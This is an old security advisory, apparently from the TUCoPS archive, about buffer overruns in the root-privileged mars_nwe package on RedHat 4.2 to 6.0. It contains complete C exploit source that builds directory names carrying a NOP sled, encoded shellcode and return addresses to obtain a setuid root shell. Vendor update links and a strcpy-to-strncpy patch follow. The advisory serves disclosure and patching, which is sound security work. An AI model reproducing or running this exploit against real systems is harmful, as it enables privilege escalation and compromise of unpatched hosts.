|
Vulnerability mars_nwe Affected RedHat 4.2, 5.2, 6.0 Description Przemyslaw Frasunek posted following (Lublin BSD Users Group). Babcia Padlina Ltd. has discovered many buffer overruns in running with superuser priviliges parts of mars_nwe package. By creating carefully designed directories or bindery objects it is possible to execute arbitrary code. Sample code (won't work with NLS support enabled): // get a suid shell :) #include <stdio.h> #include <errno.h> #include <sys/stat.h> #include <strings.h> #include <unistd.h> #define BUFSIZE 254 #define NOP 0x90 #define RET 0xbffff3a0 #define ALIGN 1 int makedir(dir) char *dir; { if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO))) return -1; if (chdir(dir)) return -1; return 0; } int main(void) { int i = 0, noplen = 0; char pid[10], buf[BUFSIZE], *ptr = NULL; char szelkod[] = "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d" "\x31\xc9\xb1\x88\x80\x36\x01\x46\xe2\xfa\xea\x19\x2e" "\x63\x68\x6f\x2e\x62\x69\x6c\x6e\x65\x01\x35\x36\x34" "\x34\x01\x2e\x63\x68\x6f\x2e\x72\x69\x01\x88\xf7\x54" "\x88\xe4\x82\xed\x19\x56\x57\x52\xe9\x01\x01\x01\x01" "\x5a\x80\xc2\xcf\x11\x01\x01\x8c\xba\x0b\xee\xfe\xfe" "\x88\x7c\xf1\x8c\x82\x14\xee\xfe\xfe\x88\x44\xf5\x8c" "\x92\x1b\xee\xfe\xfe\x88\x54\xf9\xc6\x44\xfd\x01\x01" "\x01\x01\xb9\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88" "\xf2\xcc\x81\x8c\x44\xf1\x88\xc0\xb9\x0a\x01\x01\x01" "\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x8c\x64\xdd\x5a" "\x5f\x5e\xc8\xc2\x91\x91\x91\x91\x91\x91\x91\x91\x91" "\x91\x91\x91\x00"; sprintf(pid, "%d", getpid()); if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO))) { perror("mkdir()"); return -1; } if (chdir(pid)) { perror("chdir()"); return -1; } ptr = buf; noplen = BUFSIZE - strlen(szelkod); for (i=0;i<noplen;i++) *ptr++ = NOP; *ptr += noplen; for (i=0;i<strlen(szelkod);i++) *ptr++ = szelkod[i]; *ptr = '\0'; if(makedir(buf) < 0) { perror("makedir()"); return -1; } bzero(buf, BUFSIZE); memset(buf, NOP, 40 + ALIGN); if(makedir(buf) < 0) { perror("makedir()"); return -1; } bzero(buf, BUFSIZE); for(i=0;i<96;i+=4) *(long *)&buf[i] = RET; for(i=0;i<2;i++) { if(makedir(buf) < 0) { perror("makedir()"); return -1; } } return 0; } Solution RPMs required: ftp://updates.redhat.com//4.2/i386/mars-nwe-0.99pl17-0.4.2.i386.rpm ftp://updates.redhat.com//4.2/SRPMS/mars-nwe-0.99pl17-0.4.2.src.rpm ftp://updates.redhat.com//5.2/i386/mars-nwe-0.99pl17-0.5.2.i386.rpm ftp://updates.redhat.com//5.2/SRPMS/mars-nwe-0.99pl17-0.5.2.src.rpm ftp://updates.redhat.com//6.0/i386/mars-nwe-0.99pl17-4.i386.rpm ftp://updates.redhat.com//6.0/alpha/mars-nwe-0.99pl17-4.alpha.rpm ftp://updates.redhat.com//6.0/sparc/mars-nwe-0.99pl17-4.sparc.rpm ftp://updates.redhat.com//6.0/SRPMS/mars-nwe-0.99pl17-4.src.rpm Patches for mars_nwe 0.99pl15 follows: --- connect.c.orig Mon Aug 30 11:20:45 1999 +++ connect.c Mon Aug 30 13:57:53 1999 @@ -113,17 +113,17 @@ || !nw_volumes[volume].unixnamlen) { errorp(10, "build_unix_name", "volume=%d not ok\n", volume); strcpy(unixname, "Z/Z/Z/Z"); /* */ return(unixname); } - strcpy(unixname, (char*)nw_volumes[volume].unixname); /* first UNIXNAME VOLUME */ + strncpy(unixname, (char*)nw_volumes[volume].unixname, sizeof(unixname)-1); /* first UNIXNAME VOLUME */ p = pp = unixname+strlen(unixname); - strcpy(p, (char*)nwpath->path); /* now the path */ + strncpy(p, (char*)nwpath->path, (sizeof(unixname)-strlen(unixname)-1)); /* now the path */ p += strlen((char*)nwpath->path); if ( (!(modus & 1)) && nwpath->fn[0]) - strcpy(p, (char*)nwpath->fn); /* and now fn */ + strncpy(p, (char*)nwpath->fn, (sizeof(unixname)-strlen(unixname)-1)); /* and now fn */ else if ((modus & 2) && (*(p-1) == '/')) { if (p > unixname+1) *(--p) = '\0'; else { *p++ = '.'; *p = '\0'; @@ -176,11 +176,11 @@ } else rethandle=nhandle; /* init dir_handle */ dh=&(dir_handles[rethandle-1]); - strcpy(dh->unixname, build_unix_name(nwpath, 0)); + strncpy(dh->unixname, build_unix_name(nwpath, 0), sizeof(dh->unixname)-1); dh->kpath = dh->unixname + strlen(dh->unixname); if (dh->f) { closedir(dh->f); dh->f=NULL; } @@ -392,12 +392,12 @@ { static char nwpathname[300]; char volname[100]; if (p->volume < 0 || p->volume >= used_nw_volumes) { sprintf(volname, "<%d=NOT-OK>", (int)p->volume); - } else strcpy(volname, (char*)nw_volumes[p->volume].sysname); - sprintf(nwpathname, "%s:%s%s", volname, p->path, p->fn); + } else strncpy(volname, (char*)nw_volumes[p->volume].sysname, sizeof(volname)-1); + snprintf(nwpathname, sizeof(nwpathname), "%s:%s%s", volname, p->path, p->fn); return(nwpathname); } /* new from Andrew Sapozhnikov <sapa@hq.icb.chel.su> * added in 0.99.pl7, removes old x_str_match routine @@ -576,14 +576,14 @@ fs->ubuf = NULL; } fs->attrib = attrib; if (volume < 0 || volume >= used_nw_volumes) return(-1); /* something wrong */ else soptions = nw_volumes[volume].options; - strcpy((char*)entry, (char*)nwpath->fn); + strncpy((char*)entry, (char*)nwpath->fn, sizeof(entry)-1); nwpath->fn[0] = '\0'; - strcpy(xkpath, build_unix_name(nwpath, 1|2)); + strncpy(xkpath, build_unix_name(nwpath, 1|2), sizeof(xkpath)-1); XDPRINTF((5,0,"func_search_entry attrib=0x%x path:%s:, xkpath:%s:, entry:%s:", attrib, nwpath->path, xkpath, entry)); if ( (!stat(xkpath, &(fs->statb)))TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better). Site design & layout copyright © 1986-2024 AOH